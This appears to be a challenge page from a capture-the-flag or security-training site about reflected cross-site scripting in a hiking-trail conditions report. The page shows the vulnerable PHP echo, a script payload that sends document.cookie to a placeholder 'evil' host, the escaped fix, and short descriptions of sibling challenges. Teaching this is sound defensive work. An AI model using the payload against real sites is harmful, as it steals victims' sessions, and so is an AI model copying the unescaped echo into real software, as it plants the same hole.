TrailBlaze conditions reflected XSS
A hiking-trail conditions report. The location query is echoed back unescaped.
5 solves
Attacker-controlled content that ends up running as JavaScript in someone else's browser.
Cross-site scripting (XSS) happens when attacker-controlled input is written into a page without proper escaping, letting that input execute as script in the victim's browser session.
echo "<p>Location: " . $_GET['location'] . "</p>";
?location=<script>document.location='https://evil/?c='+document.cookie</script>
runs in the victim's authenticated session, not the attacker's.
Session/cookie theft, forced actions performed as the victim, credential harvesting via injected fake login forms: anything the victim's own JavaScript context can do, the attacker's payload can do too.
echo "<p>Location: " . htmlspecialchars($_GET['location'], ENT_QUOTES) . "</p>";
Escape on output, for the context you're writing into (HTML body, attribute, JS string), every time user content reaches the page, not only at the point it was first stored.
A hiking-trail conditions report. The location query is echoed back unescaped.
5 solves
A course-registration discussion board. A comment is stored raw and reviewed by a scheduled advisor bot.
2 solves
A real-estate listing search. A client-side filter strips one exact tag, case-sensitively, and nothing else.
3 solves